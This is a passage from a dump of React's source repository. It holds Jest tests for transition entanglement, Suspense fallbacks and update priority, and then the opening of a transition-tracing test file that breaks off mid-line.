(\n        <span>\n          {isPending && (\n            <span>\n              <Text text=\"Pending A...\" />\n            </span>\n          )}\n          <AsyncText text={`A: ${a}`} />\n        </span>\n      );\n    }\n\n    function B() {\n      const [b, _setB] = useState(0);\n      const [isPending, _startTransitionB] = useTransition();\n      setB = _setB;\n      startTransitionB = _startTransitionB;\n\n      return (\n        <span>\n          {isPending && (\n            <span>\n              <Text text=\"Pending B...\" />\n            </span>\n          )}\n          <AsyncText text={`B: ${b}`} />\n        </span>\n      );\n    }\n    function App() {\n      return (\n        <>\n          <Suspense fallback={<span>Loading A</span>}>\n            <A />\n          </Suspense>\n          <Suspense fallback={<span>Loading B</span>}>\n            <B />\n          </Suspense>\n        </>\n      );\n    }\n\n    // Initial render\n    const root = ReactNoop.createRoot();\n    await act(() => {\n      root.render(<App />);\n    });\n    assertLog([\n      'Suspend! [A: 0]',\n      'Suspend! [B: 0]',\n      'Suspend! [A: 0]',\n      'Suspend! [B: 0]',\n    ]);\n    expect(root).toMatchRenderedOutput(\n      <>\n        <span>Loading A</span>\n        <span>Loading B</span>\n      </>,\n    );\n\n    // Resolve\n    await act(() => {\n      resolveText('A: 0');\n      resolveText('B: 0');\n    });\n    assertLog(['A: 0', 'B: 0']);\n    expect(root).toMatchRenderedOutput(\n      <>\n        <span>A: 0</span>\n        <span>B: 0</span>\n      </>,\n    );\n\n    // Start transitioning A\n    await act(() => {\n      startTransitionA(() => {\n        setA(1);\n      });\n    });\n    assertLog(['Pending A...', 'A: 0', 'Suspend! [A: 1]']);\n    expect(root).toMatchRenderedOutput(\n      <>\n        <span>\n          <span>Pending A...</span>A: 0\n        </span>\n        <span>B: 0</span>\n      </>,\n    );\n\n    // Start transitioning B\n    await act(() => {\n      startTransitionB(() => {\n        setB(1);\n      });\n    });\n    assertLog(['Pending B...', 'B: 0', 'Suspend! [A: 1]', 'Suspend! [B: 1]']);\n    expect(root).toMatchRenderedOutput(\n      <>\n        <span>\n          <span>Pending A...</span>A: 0\n        </span>\n        <span>\n          <span>Pending B...</span>B: 0\n        </span>\n      </>,\n    );\n\n    // Resolve B\n    await act(() => {\n      resolveText('B: 1');\n    });\n    assertLog(\n      gate('enableParallelTransitions')\n        ? ['B: 1', 'Suspend! [A: 1]']\n        : ['Suspend! [A: 1]', 'B: 1'],\n    );\n    expect(root).toMatchRenderedOutput(\n      gate('enableParallelTransitions') ? (\n        <>\n          <span>\n            <span>Pending A...</span>A: 0\n          </span>\n          <span>B: 1</span>\n        </>\n      ) : (\n        <>\n          <span>\n            <span>Pending A...</span>A: 0\n          </span>\n          <span>\n            <span>Pending B...</span>B: 0\n          </span>\n        </>\n      ),\n    );\n\n    // Resolve A\n    await act(() => {\n      resolveText('A: 1');\n    });\n    assertLog(gate('enableParallelTransitions') ? ['A: 1'] : ['A: 1', 'B: 1']);\n    expect(root).toMatchRenderedOutput(\n      <>\n        <span>A: 1</span>\n        <span>B: 1</span>\n      </>,\n    );\n  });\n\n  // @gate enableLegacyCache\n  it('when multiple transitions update different queues, but suspend the same boundary, they do entangle', async () => {\n    let setA;\n    let startTransitionA;\n    let setB;\n    let startTransitionB;\n    function A() {\n      const [a, _setA] = useState(0);\n      const [isPending, _startTransitionA] = useTransition();\n      setA = _setA;\n      startTransitionA = _startTransitionA;\n\n      return (\n        <span>\n          {isPending && (\n            <span>\n              <Text text=\"Pending A...\" />\n            </span>\n          )}\n          <AsyncText text={`A: ${a}`} />\n        </span>\n      );\n    }\n\n    function B() {\n      const [b, _setB] = useState(0);\n      const [isPending, _startTransitionB] = useTransition();\n      setB = _setB;\n      startTransitionB = _startTransitionB;\n\n      return (\n        <span>\n          {isPending && (\n            <span>\n              <Text text=\"Pending B...\" />\n            </span>\n          )}\n          <AsyncText text={`B: ${b}`} />\n        </span>\n      );\n    }\n    function App() {\n      return (\n        <Suspense fallback={<span>Loading...</span>}>\n          <A />\n          <B />\n        </Suspense>\n      );\n    }\n\n    // Initial render\n    const root = ReactNoop.createRoot();\n    await act(() => {\n      root.render(<App />);\n    });\n    assertLog([\n      'Suspend! [A: 0]',\n      // pre-warming\n      'Suspend! [A: 0]',\n      'Suspend! [B: 0]',\n    ]);\n    expect(root).toMatchRenderedOutput(<span>Loading...</span>);\n\n    // Resolve\n    await act(() => {\n      resolveText('A: 0');\n      resolveText('B: 0');\n    });\n    assertLog(['A: 0', 'B: 0']);\n    expect(root).toMatchRenderedOutput(\n      <>\n        <span>A: 0</span>\n        <span>B: 0</span>\n      </>,\n    );\n\n    // Start transitioning A\n    await act(() => {\n      startTransitionA(() => {\n        setA(1);\n      });\n    });\n    assertLog(['Pending A...', 'A: 0', 'Suspend! [A: 1]']);\n    expect(root).toMatchRenderedOutput(\n      <>\n        <span>\n          <span>Pending A...</span>A: 0\n        </span>\n        <span>B: 0</span>\n      </>,\n    );\n\n    // Start transitioning B\n    await act(() => {\n      startTransitionB(() => {\n        setB(1);\n      });\n    });\n    assertLog(['Pending B...', 'B: 0', 'Suspend! [A: 1]', 'Suspend! [B: 1]']);\n    expect(root).toMatchRenderedOutput(\n      <>\n        <span>\n          <span>Pending A...</span>A: 0\n        </span>\n        <span>\n          <span>Pending B...</span>B: 0\n        </span>\n      </>,\n    );\n\n    // Resolve B\n    await act(() => {\n      resolveText('B: 1');\n    });\n    assertLog(\n      gate('enableParallelTransitions')\n        ? ['B: 1', 'Suspend! [A: 1]']\n        : ['Suspend! [A: 1]', 'B: 1'],\n    );\n    expect(root).toMatchRenderedOutput(\n      gate('enableParallelTransitions') ? (\n        <>\n          <span>\n            <span>Pending A...</span>A: 0\n          </span>\n          <span>B: 1</span>\n        </>\n      ) : (\n        <>\n          <span>\n            <span>Pending A...</span>A: 0\n          </span>\n          <span>\n            <span>Pending B...</span>B: 0\n          </span>\n        </>\n      ),\n    );\n\n    // Resolve A\n    await act(() => {\n      resolveText('A: 1');\n    });\n    assertLog(gate('enableParallelTransitions') ? ['A: 1'] : ['A: 1', 'B: 1']);\n    expect(root).toMatchRenderedOutput(\n      <>\n        <span>A: 1</span>\n        <span>B: 1</span>\n      </>,\n    );\n  });\n\n  // @gate enableLegacyCache\n  it(\n    'when multiple transitions update the same queue, only the most recent ' +\n      'one is allowed to finish (no intermediate states)',\n    async () => {\n      let update;\n      function App() {\n        const [isContentPending, startContentChange] = useTransition();\n        const [label, setLabel] = useState('A');\n        const [contents, setContents] = useState('A');\n        update = value => {\n          ReactNoop.discreteUpdates(() => {\n            setLabel(value);\n            startContentChange(() => {\n              setContents(value);\n            });\n          });\n        };\n        return (\n          <>\n            <Text\n              text={\n                label + ' label' + (isContentPending ? ' (loading...)' : '')\n              }\n            />\n            <div>\n              <Suspense fallback={<Text text=\"Loading...\" />}>\n                <AsyncText text={contents + ' content'} />\n              </Suspense>\n            </div>\n          </>\n        );\n      }\n\n      // Initial render\n      const root = ReactNoop.createRoot();\n      await act(() => {\n        seedNextTextCache('A content');\n        root.render(<App />);\n      });\n      assertLog(['A label', 'A content']);\n      expect(root).toMatchRenderedOutput(\n        <>\n          A label<div>A content</div>\n        </>,\n      );\n\n      // Switch to B\n      await act(() => {\n        update('B');\n      });\n      assertLog([\n        // Commit pending state\n        'B label (loading...)',\n        'A content',\n\n        // Attempt to render B, but it suspends\n        'B label',\n        'Suspend! [B content]',\n        'Loading...',\n      ]);\n      // This is a refresh transition so it shouldn't show a fallback\n      expect(root).toMatchRenderedOutput(\n        <>\n          B label (loading...)<div>A content</div>\n        </>,\n      );\n\n      // Before B finishes loading, switch to C\n      await act(() => {\n        update('C');\n      });\n      assertLog([\n        // Commit pending state\n        'C label (loading...)',\n        'A content',\n\n        // Attempt to render C, but it suspends\n        'C label',\n        'Suspend! [C content]',\n        'Loading...',\n      ]);\n      expect(root).toMatchRenderedOutput(\n        <>\n          C label (loading...)<div>A content</div>\n        </>,\n      );\n\n      // Finish loading B. But we're not allowed to render B because it's\n      // entangled with C. So we're still pending.\n      await act(() => {\n        resolveText('B content');\n      });\n      assertLog([\n        // Attempt to render C, but it suspends\n        'C label',\n        'Suspend! [C content]',\n        'Loading...',\n      ]);\n      expect(root).toMatchRenderedOutput(\n        <>\n          C label (loading...)<div>A content</div>\n        </>,\n      );\n\n      // Now finish loading C. This is the terminal update, so it can finish.\n      await act(() => {\n        resolveText('C content');\n      });\n      assertLog(['C label', 'C content']);\n      expect(root).toMatchRenderedOutput(\n        <>\n          C label<div>C content</div>\n        </>,\n      );\n    },\n  );\n\n  // Same as previous test, but for class update queue.\n  // @gate enableLegacyCache\n  it(\n    'when multiple transitions update the same queue, only the most recent ' +\n      'one is allowed to finish (no intermediate states) (classes)',\n    async () => {\n      let update;\n      class App extends React.Component {\n        state = {\n          label: 'A',\n          contents: 'A',\n        };\n        render() {\n          update = value => {\n            ReactNoop.discreteUpdates(() => {\n              this.setState({label: value});\n              startTransition(() => {\n                this.setState({contents: value});\n              });\n            });\n          };\n          const label = this.state.label;\n          const contents = this.state.contents;\n          const isContentPending = label !== contents;\n          return (\n            <>\n              <Text\n                text={\n                  label + ' label' + (isContentPending ? ' (loading...)' : '')\n                }\n              />\n              <div>\n                <Suspense fallback={<Text text=\"Loading...\" />}>\n                  <AsyncText text={contents + ' content'} />\n                </Suspense>\n              </div>\n            </>\n          );\n        }\n      }\n\n      // Initial render\n      const root = ReactNoop.createRoot();\n      await act(() => {\n        seedNextTextCache('A content');\n        root.render(<App />);\n      });\n      assertLog(['A label', 'A content']);\n      expect(root).toMatchRenderedOutput(\n        <>\n          A label<div>A content</div>\n        </>,\n      );\n\n      // Switch to B\n      await act(() => {\n        update('B');\n      });\n      assertLog([\n        // Commit pending state\n        'B label (loading...)',\n        'A content',\n\n        // Attempt to render B, but it suspends\n        'B label',\n        'Suspend! [B content]',\n        'Loading...',\n      ]);\n      // This is a refresh transition so it shouldn't show a fallback\n      expect(root).toMatchRenderedOutput(\n        <>\n          B label (loading...)<div>A content</div>\n        </>,\n      );\n\n      // Before B finishes loading, switch to C\n      await act(() => {\n        update('C');\n      });\n      assertLog([\n        // Commit pending state\n        'C label (loading...)',\n        'A content',\n\n        // Attempt to render C, but it suspends\n        'C label',\n        'Suspend! [C content]',\n        'Loading...',\n      ]);\n      expect(root).toMatchRenderedOutput(\n        <>\n          C label (loading...)<div>A content</div>\n        </>,\n      );\n\n      // Finish loading B. But we're not allowed to render B because it's\n      // entangled with C. So we're still pending.\n      await act(() => {\n        resolveText('B content');\n      });\n      assertLog([\n        // Attempt to render C, but it suspends\n        'C label',\n        'Suspend! [C content]',\n        'Loading...',\n      ]);\n      expect(root).toMatchRenderedOutput(\n        <>\n          C label (loading...)<div>A content</div>\n        </>,\n      );\n\n      // Now finish loading C. This is the terminal update, so it can finish.\n      await act(() => {\n        resolveText('C content');\n      });\n      assertLog(['C label', 'C content']);\n      expect(root).toMatchRenderedOutput(\n        <>\n          C label<div>C content</div>\n        </>,\n      );\n    },\n  );\n\n  // @gate enableLegacyCache\n  it(\n    'when multiple transitions update overlapping queues, all the transitions ' +\n      'across all the queues are entangled',\n    async () => {\n      let setShowA;\n      let setShowB;\n      let setShowC;\n      function App() {\n        const [showA, _setShowA] = useState(false);\n        const [showB, _setShowB] = useState(false);\n        const [showC, _setShowC] = useState(false);\n        setShowA = _setShowA;\n        setShowB = _setShowB;\n        setShowC = _setShowC;\n\n        // Only one of these children should be visible at a time. Except\n        // instead of being modeled as a single state, it's three separate\n        // states that are updated simultaneously. This may seem a bit\n        // contrived, but it's more common than you might think. Usually via\n        // a framework or indirection. For example, consider a tooltip manager\n        // that only shows a single tooltip at a time. Or a router that\n        // highlights links to the active route.\n        return (\n          <>\n            <Suspense fallback={<Text text=\"Loading...\" />}>\n              {showA ? <AsyncText text=\"A\" /> : null}\n              {showB ? <AsyncText text=\"B\" /> : null}\n              {showC ? <AsyncText text=\"C\" /> : null}\n            </Suspense>\n          </>\n        );\n      }\n\n      // Initial render. Start with all children hidden.\n      const root = ReactNoop.createRoot();\n      await act(() => {\n        root.render(<App />);\n      });\n      assertLog([]);\n      expect(root).toMatchRenderedOutput(null);\n\n      // Switch to A.\n      await act(() => {\n        startTransition(() => {\n          setShowA(true);\n        });\n      });\n      assertLog(['Suspend! [A]', 'Loading...']);\n      expect(root).toMatchRenderedOutput(null);\n\n      // Before A loads, switch to B. This should entangle A with B.\n      await act(() => {\n        startTransition(() => {\n          setShowA(false);\n          setShowB(true);\n        });\n      });\n      assertLog(['Suspend! [B]', 'Loading...']);\n      expect(root).toMatchRenderedOutput(null);\n\n      // Before A or B loads, switch to C. This should entangle C with B, and\n      // transitively entangle C with A.\n      await act(() => {\n        startTransition(() => {\n          setShowB(false);\n          setShowC(true);\n        });\n      });\n      assertLog(['Suspend! [C]', 'Loading...']);\n      expect(root).toMatchRenderedOutput(null);\n\n      // Now the data starts resolving out of order.\n\n      // First resolve B. This will attempt to render C, since everything is\n      // entangled.\n      await act(() => {\n        startTransition(() => {\n          resolveText('B');\n        });\n      });\n      assertLog(['Suspend! [C]', 'Loading...']);\n      expect(root).toMatchRenderedOutput(null);\n\n      // Now resolve A. Again, this will attempt to render C, since everything\n      // is entangled.\n      await act(() => {\n        startTransition(() => {\n          resolveText('A');\n        });\n      });\n      assertLog(['Suspend! [C]', 'Loading...']);\n      expect(root).toMatchRenderedOutput(null);\n\n      // Finally, resolve C. This time we can finish.\n      await act(() => {\n        startTransition(() => {\n          resolveText('C');\n        });\n      });\n      assertLog(['C']);\n      expect(root).toMatchRenderedOutput('C');\n    },\n  );\n\n  // @gate enableLegacyCache\n  it('interrupt a refresh transition if a new transition is scheduled', async () => {\n    const root = ReactNoop.createRoot();\n\n    await act(() => {\n      root.render(\n        <>\n          <Suspense fallback={<Text text=\"Loading...\" />} />\n          <Text text=\"Initial\" />\n        </>,\n      );\n    });\n    assertLog(['Initial']);\n    expect(root).toMatchRenderedOutput('Initial');\n\n    await act(async () => {\n      // Start a refresh transition\n      startTransition(() => {\n        root.render(\n          <>\n            <Suspense fallback={<Text text=\"Loading...\" />}>\n              <AsyncText text=\"Async\" />\n            </Suspense>\n            <Text text=\"After Suspense\" />\n            <Text text=\"Sibling\" />\n          </>,\n        );\n      });\n\n      // Partially render it.\n      await waitFor([\n        // Once we the update suspends, we know it's a refresh transition,\n        // because the Suspense boundary has already mounted.\n        'Suspend! [Async]',\n        'Loading...',\n        'After Suspense',\n      ]);\n\n      // Schedule a new transition\n      startTransition(async () => {\n        root.render(\n          <>\n            <Suspense fallback={<Text text=\"Loading...\" />} />\n            <Text text=\"Updated\" />\n          </>,\n        );\n      });\n    });\n\n    // Because the first one is going to suspend regardless, we should\n    // immediately switch to rendering the new transition.\n    assertLog(['Updated']);\n    expect(root).toMatchRenderedOutput('Updated');\n  });\n\n  // @gate enableLegacyCache\n  it(\n    \"interrupt a refresh transition when something suspends and we've \" +\n      'already bailed out on another transition in a parent',\n    async () => {\n      let setShouldSuspend;\n\n      function Parent({children}) {\n        const [shouldHideInParent, _setShouldHideInParent] = useState(false);\n        setShouldHideInParent = _setShouldHideInParent;\n        Scheduler.log('shouldHideInParent: ' + shouldHideInParent);\n        if (shouldHideInParent) {\n          return <Text text=\"(empty)\" />;\n        }\n        return children;\n      }\n\n      let setShouldHideInParent;\n      function App() {\n        const [shouldSuspend, _setShouldSuspend] = useState(false);\n        setShouldSuspend = _setShouldSuspend;\n        return (\n          <>\n            <Text text=\"A\" />\n            <Parent>\n              <Suspense fallback={<Text text=\"Loading...\" />}>\n                {shouldSuspend ? <AsyncText text=\"Async\" /> : null}\n              </Suspense>\n            </Parent>\n            <Text text=\"B\" />\n            <Text text=\"C\" />\n          </>\n        );\n      }\n\n      const root = ReactNoop.createRoot();\n\n      await act(async () => {\n        root.render(<App />);\n        await waitForAll(['A', 'shouldHideInParent: false', 'B', 'C']);\n        expect(root).toMatchRenderedOutput('ABC');\n\n        // Schedule an update\n        startTransition(() => {\n          setShouldSuspend(true);\n        });\n\n        // Now we need to trigger schedule another transition in a different\n        // lane from the first one. At the time this was written, all transitions are worked on\n        // simultaneously, unless a transition was already in progress when a\n        // new one was scheduled. So, partially render the first transition.\n        await waitFor(['A']);\n\n        // Now schedule a second transition. We won't interrupt the first one.\n        React.startTransition(() => {\n          setShouldHideInParent(true);\n        });\n        // Continue rendering the first transition.\n        await waitFor([\n          'shouldHideInParent: false',\n          'Suspend! [Async]',\n          'Loading...',\n          'B',\n        ]);\n        // Should not have committed loading state\n        expect(root).toMatchRenderedOutput('ABC');\n\n        // At this point, we've processed the parent update queue, so we know\n        // that it has a pending update from the second transition, even though\n        // we skipped it during this render. And we know this is a refresh\n        // transition, because we had to render a loading state. So the next\n        // time we re-enter the work loop (we don't interrupt immediately, we\n        // just wait for the next time slice), we should throw out the\n        // suspended first transition and try the second one.\n        await waitForPaint(['shouldHideInParent: true', '(empty)']);\n        expect(root).toMatchRenderedOutput('A(empty)BC');\n\n        // Since the two transitions are not entangled, we then later go back\n        // and finish retry the first transition. Not really relevant to this\n        // test but I'll assert the result anyway.\n        await waitForAll([\n          'A',\n          'shouldHideInParent: true',\n          '(empty)',\n          'B',\n          'C',\n        ]);\n        expect(root).toMatchRenderedOutput('A(empty)BC');\n      });\n    },\n  );\n\n  // @gate enableLegacyCache\n  it(\n    'interrupt a refresh transition when something suspends and a parent ' +\n      'component received an interleaved update after its queue was processed',\n    async () => {\n      // Title is confusing so I'll try to explain further: This is similar to\n      // the previous test, except instead of skipped over a transition update\n      // in a parent, the parent receives an interleaved update *after* its\n      // begin phase has already finished.\n\n      function App({shouldSuspend, step}) {\n        return (\n          <>\n            <Text text={`A${step}`} />\n            <Suspense fallback={<Text text=\"Loading...\" />}>\n              {shouldSuspend ? <AsyncText text=\"Async\" /> : null}\n            </Suspense>\n            <Text text={`B${step}`} />\n            <Text text={`C${step}`} />\n          </>\n        );\n      }\n\n      const root = ReactNoop.createRoot();\n\n      await act(() => {\n        root.render(<App shouldSuspend={false} step={0} />);\n      });\n      assertLog(['A0', 'B0', 'C0']);\n      expect(root).toMatchRenderedOutput('A0B0C0');\n\n      await act(async () => {\n        // This update will suspend.\n        startTransition(() => {\n          root.render(<App shouldSuspend={true} step={1} />);\n        });\n        // Flush past the root, but stop before the async component.\n        await waitFor(['A1']);\n\n        // Schedule another transition on the root, which already completed.\n        startTransition(() => {\n          root.render(<App shouldSuspend={false} step={2} />);\n        });\n        // We'll keep working on the first update.\n        await waitFor([\n          // Now the async component suspends\n          'Suspend! [Async]',\n          'Loading...',\n          'B1',\n        ]);\n        // Should not have committed loading state\n        expect(root).toMatchRenderedOutput('A0B0C0');\n\n        // After suspending, should abort the first update and switch to the\n        // second update. So, C1 should not appear in the log.\n        // TODO: This should work even if React does not yield to the main\n        // thread. Should use same mechanism as selective hydration to interrupt\n        // the render before the end of the current slice of work.\n        await waitForAll(['A2', 'B2', 'C2']);\n\n        expect(root).toMatchRenderedOutput('A2B2C2');\n      });\n    },\n  );\n\n  it('should render normal pri updates scheduled after transitions before transitions', async () => {\n    let updateTransitionPri;\n    let updateNormalPri;\n    function App() {\n      const [normalPri, setNormalPri] = useState(0);\n      const [transitionPri, setTransitionPri] = useState(0);\n      updateTransitionPri = () =>\n        startTransition(() => setTransitionPri(n => n + 1));\n      updateNormalPri = () => setNormalPri(n => n + 1);\n\n      useLayoutEffect(() => {\n        Scheduler.log('Commit');\n      });\n\n      return (\n        <Suspense fallback={<Text text=\"Loading...\" />}>\n          <Text text={'Transition pri: ' + transitionPri} />\n          {', '}\n          <Text text={'Normal pri: ' + normalPri} />\n        </Suspense>\n      );\n    }\n\n    const root = ReactNoop.createRoot();\n    await act(() => {\n      root.render(<App />);\n    });\n\n    // Initial render.\n    assertLog(['Transition pri: 0', 'Normal pri: 0', 'Commit']);\n    expect(root).toMatchRenderedOutput('Transition pri: 0, Normal pri: 0');\n\n    await act(() => {\n      updateTransitionPri();\n      updateNormalPri();\n    });\n\n    assertLog([\n      // Normal update first.\n      'Transition pri: 0',\n      'Normal pri: 1',\n      'Commit',\n\n      // Then transition update.\n      'Transition pri: 1',\n      'Normal pri: 1',\n      'Commit',\n    ]);\n    expect(root).toMatchRenderedOutput('Transition pri: 1, Normal pri: 1');\n  });\n\n  // @gate enableLegacyCache\n  it('should render normal pri updates before transition suspense retries', async () => {\n    let updateTransitionPri;\n    let updateNormalPri;\n    function App() {\n      const [transitionPri, setTransitionPri] = useState(false);\n      const [normalPri, setNormalPri] = useState(0);\n\n      updateTransitionPri = () => startTransition(() => setTransitionPri(true));\n      updateNormalPri = () => setNormalPri(n => n + 1);\n\n      useLayoutEffect(() => {\n        Scheduler.log('Commit');\n      });\n\n      return (\n        <Suspense fallback={<Text text=\"Loading...\" />}>\n          {transitionPri ? <AsyncText text=\"Async\" /> : <Text text=\"(empty)\" />}\n          {', '}\n          <Text text={'Normal pri: ' + normalPri} />\n        </Suspense>\n      );\n    }\n\n    const root = ReactNoop.createRoot();\n    await act(() => {\n      root.render(<App />);\n    });\n\n    // Initial render.\n    assertLog(['(empty)', 'Normal pri: 0', 'Commit']);\n    expect(root).toMatchRenderedOutput('(empty), Normal pri: 0');\n\n    await act(() => {\n      updateTransitionPri();\n    });\n\n    assertLog([\n      // Suspend.\n      'Suspend! [Async]',\n      // pre-warming\n      'Normal pri: 0',\n      // end pre-warming\n      'Loading...',\n    ]);\n    expect(root).toMatchRenderedOutput('(empty), Normal pri: 0');\n\n    await act(async () => {\n      await resolveText('Async');\n      updateNormalPri();\n    });\n\n    assertLog([\n      // Normal pri update.\n      '(empty)',\n      'Normal pri: 1',\n      'Commit',\n\n      // Promise resolved, retry flushed.\n      'Async',\n      'Normal pri: 1',\n      'Commit',\n    ]);\n    expect(root).toMatchRenderedOutput('Async, Normal pri: 1');\n  });\n\n  it('should not interrupt transitions with normal pri updates', async () => {\n    let updateNormalPri;\n    let updateTransitionPri;\n    function App() {\n      const [transitionPri, setTransitionPri] = useState(0);\n      const [normalPri, setNormalPri] = useState(0);\n      updateTransitionPri = () =>\n        startTransition(() => setTransitionPri(n => n + 1));\n      updateNormalPri = () => setNormalPri(n => n + 1);\n\n      useLayoutEffect(() => {\n        Scheduler.log('Commit');\n      });\n      return (\n        <>\n          <Text text={'Transition pri: ' + transitionPri} />\n          {', '}\n          <Text text={'Normal pri: ' + normalPri} />\n        </>\n      );\n    }\n\n    const root = ReactNoop.createRoot();\n    await act(() => {\n      root.render(<App />);\n    });\n    assertLog(['Transition pri: 0', 'Normal pri: 0', 'Commit']);\n    expect(root).toMatchRenderedOutput('Transition pri: 0, Normal pri: 0');\n\n    await act(async () => {\n      updateTransitionPri();\n\n      await waitFor([\n        // Start transition update.\n        'Transition pri: 1',\n      ]);\n\n      // Schedule normal pri update during transition update.\n      // This should not interrupt.\n      updateNormalPri();\n    });\n\n    assertLog([\n      'Normal pri: 0',\n      'Commit',\n\n      // Normal pri update.\n      'Transition pri: 1',\n      'Normal pri: 1',\n      'Commit',\n    ]);\n\n    expect(root).toMatchRenderedOutput('Transition pri: 1, Normal pri: 1');\n  });\n\n  it('tracks two pending flags for nested startTransition (#26226)', async () => {\n    let update;\n    function App() {\n      const [isPendingA, startTransitionA] = useTransition();\n      const [isPendingB, startTransitionB] = useTransition();\n      const [state, setState] = useState(0);\n\n      update = function () {\n        startTransitionA(() => {\n          startTransitionB(() => {\n            setState(1);\n          });\n        });\n      };\n\n      return (\n        <>\n          <Text text={state} />\n          {', '}\n          <Text text={'A ' + isPendingA} />\n          {', '}\n          <Text text={'B ' + isPendingB} />\n        </>\n      );\n    }\n    const root = ReactNoop.createRoot();\n    await act(async () => {\n      root.render(<App />);\n    });\n    assertLog([0, 'A false', 'B false']);\n    expect(root).toMatchRenderedOutput('0, A false, B false');\n\n    await act(async () => {\n      update();\n    });\n    assertLog([0, 'A true', 'B true', 1, 'A false', 'B false']);\n    expect(root).toMatchRenderedOutput('1, A false, B false');\n  });\n});\n"
  },
  {
    "path": "packages/react-reconciler/src/__tests__/ReactTransitionTracing-test.js",
    "content": "/**\n * Copyright (c) Meta Platforms, Inc. and affiliates.\n *\n * This source code is licensed under the MIT license found in the\n * LICENSE file in the root directory of this source tree.\n *\n * @emails react-core\n * @jest-environment node\n */\n\nlet React;\nlet ReactNoop;\nlet Scheduler;\nlet act;\nlet waitForAll;\nlet assertLog;\nlet assertConsoleErrorDev;\n\nlet getCacheForType;\nlet useState;\nlet Suspense;\nlet Activity;\nlet startTransition;\n\nlet caches;\nlet seededCache;\n\ndescribe('ReactInteractionTracing', () => {\n  function stringifyDeletions(deletions) {\n    return deletions\n      .map(\n        d =>\n          `{${Object.keys(d)\n            .map(key => `${key}: ${d[key]}`)\n            .sort()\n            .join(', ')}}`,\n      )\n      .join(', ');\n  }\n  beforeEach(() => {\n    jest.resetModules();\n\n    React = require('react');\n    ReactNoop = require('react-noop-renderer');\n    Scheduler = require('scheduler');\n\n    const InternalTestUtils = require('internal-test-utils');\n    act = InternalTestUtils.act;\n    waitForAll = InternalTestUtils.waitForAll;\n    assertLog = InternalTestUtils.assertLog;\n    assertConsoleErrorDev = InternalTestUtils.assertConsoleErrorDev;\n\n    useState = React.useState;\n    startTransition = React.startTransition;\n    Suspense = React.Suspense;\n    Activity = React.Activity;\n\n    getCacheForType = React.unstable_getCacheForType;\n\n    caches = [];\n    seededCache = null;\n  });\n\n  function createTextCache() {\n    if (seededCache !== null) {\n      const cache = seededCache;\n      seededCache = null;\n      return cache;\n    }\n\n    const data = new Map();\n    const cache = {\n      data,\n      resolve(text) {\n        const record = data.get(text);\n\n        if (record === undefined) {\n          const newRecord = {\n            status: 'resolved',\n            value: text,\n          };\n          data.set(text, newRecord);\n        } else if (record.status === 'pending') {\n          const thenable = record.value;\n          record.status = 'resolved';\n          record.value = text;\n          thenable.pings.forEach(t => t());\n        }\n      },\n      reject(text, error) {\n        const record = data.get(text);\n        if (record === undefined) {\n          const newRecord = {\n            status: 'rejected',\n            value: error,\n          };\n          data.set(text, newRecord);\n        } else if (record.status === 'pending') {\n          const thenable = record.value;\n          record.status = 'rejected';\n          record.value = error;\n          thenable.pings.forEach(t => t());\n        }\n      },\n    };\n    caches.push(cache);\n    return cache;\n  }\n\n  function readText(text) {\n    const textCache = getCacheForType(createTextCache);\n    const record = textCache.data.get(text);\n    if (record !== undefined) {\n      switch (record.status) {\n        case 'pending':\n          Scheduler.log(`Suspend [${text}]`);\n          throw record.value;\n        case 'rejected':\n          Scheduler.log(`Error [${text}]`);\n          throw record.value;\n        case 'resolved':\n          return record.value;\n      }\n    } else {\n      Scheduler.log(`Suspend [${text}]`);\n\n      const thenable = {\n        pings: [],\n        then(resolve) {\n          if (newRecord.status === 'pending') {\n            thenable.pings.push(resolve);\n          } else {\n            Promise.resolve().then(() => resolve(newRecord.value));\n          }\n        },\n      };\n\n      const newRecord = {\n        status: 'pending',\n        value: thenable,\n      };\n      textCache.data.set(text, newRecord);\n\n      throw thenable;\n    }\n  }\n\n  function AsyncText({text}) {\n    const fullText = readText(text);\n    Scheduler.log(fullText);\n    return fullText;\n  }\n\n  function Text({text}) {\n    Scheduler.log(text);\n    return text;\n  }\n\n  function resolveMostRecentTextCache(text) {\n    if (caches.length === 0) {\n      throw Error('Cache does not exist');\n    } else {\n      // Resolve the most recently created cache. An older cache can by\n      // resolved with `caches[index].resolve(text)`.\n      caches[caches.length - 1].resolve(text);\n    }\n  }\n\n  const resolveText = resolveMostRecentTextCache;\n\n  function advanceTimers(ms) {\n    // Note: This advances Jest's virtual time but not React's. Use\n    // ReactNoop.expire for that.\n    if (typeof ms !== 'number') {\n      throw new Error('Must specify ms');\n    }\n    jest.advanceTimersByTime(ms);\n    // Wait until the end of the current tick\n    // We cannot use a timer since we're faking them\n    return Promise.resolve().then(() => {});\n  }\n\n  // @gate enableTransitionTracing\n  it('should not call callbacks when transition is not defined', async () => {\n    const transitionCallbacks = {\n      onTransitionStart: (name, startTime) => {\n        Scheduler.log(`onTransitionStart(${name}, ${startTime})`);\n      },\n      onTransitionProgress: (name, startTime, endTime, pending) => {\n        const suspenseNames = pending.map(p => p.name || '<null>').join(', ');\n        Scheduler.log(\n          `onTransitionProgress(${name}, ${startTime}, ${endTime}, [${suspenseNames}])`,\n        );\n      },\n      onTransitionComplete: (name, startTime, endTime) => {\n        Scheduler.log(\n          `onTransitionComplete(${name}, ${startTime}, ${endTime})`,\n        );\n      },\n      onMarkerProgress: (\n        transitioName,\n        markerName,\n        startTime,\n        currentTime,\n        pending,\n      ) => {\n        const suspenseNames = pending.map(p => p.name || '<null>').join(', ');\n        Scheduler.log(\n          `onMarkerProgress(${transitioName}, ${markerName}, ${startTime}, ${currentTime}, [${suspenseNames}])`,\n        );\n      },\n      onMarkerComplete: (transitioName, markerName, startTime, endTime) => {\n        Scheduler.log(\n          `onMarkerComplete(${transitioName}, ${markerName}, ${startTime}, ${endTime})`,\n        );\n      },\n    };\n\n    function App({navigate}) {\n      return (\n        <div>\n          {navigate ? (\n            <React.unstable_TracingMarker name=\"marker\">\n              <Text text=\"Page Two\" />\n            </React.unstable_TracingMarker>\n          ) : (\n            <Text text=\"Page One\" />\n          )}\n        </div>\n      );\n    }\n\n    const root = ReactNoop.createRoot({\n      unstable_transitionCallbacks: transitionCallbacks,\n    });\n    await act(async () => {\n      root.render(<App navigate={false} />);\n      ReactNoop.expire(1000);\n      await advanceTimers(1000);\n\n      await waitForAll(['Page One']);\n\n      await act(async () => {\n        startTransition(() => root.render(<App navigate={true} />));\n\n        ReactNoop.expire(1000);\n        await advanceTimers(1000);\n\n        // Doesn't call transition or marker code\n        await waitForAll(['Page Two']);\n\n        startTransition(() => root.render(<App navigate={false} />), {\n          name: 'transition',\n        });\n        await waitForAll([\n          'Page One',\n          'onTransitionStart(transition, 